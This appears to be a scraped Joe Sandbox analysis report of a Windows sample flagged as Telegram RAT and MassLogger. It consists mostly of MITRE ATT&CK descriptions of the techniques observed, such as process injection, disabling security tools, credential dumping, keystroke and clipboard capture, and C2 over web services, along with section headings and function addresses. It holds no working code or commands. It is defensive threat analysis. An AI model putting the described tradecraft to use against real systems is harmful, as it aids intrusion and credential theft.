Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2NJzy3tiny.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Aaberg

C:\Users\user\AppData\Local\Temp\aut801A.tmp

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
2NJzy3tiny.exe

Function 00093B3A Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153
windowCOMMON

Function 000949A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Function 00094E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Function 000F9155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Function 0009301C Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73
windowregistryCOMMON

Function 00093041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Function 0009708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Function 00093A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Function 00093633 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Function 00093766 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 267
COMMON

Function 01875250 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Function 000939D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Function 01875020 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 145
fileCOMMON

Function 0009407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Function 000B541D Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre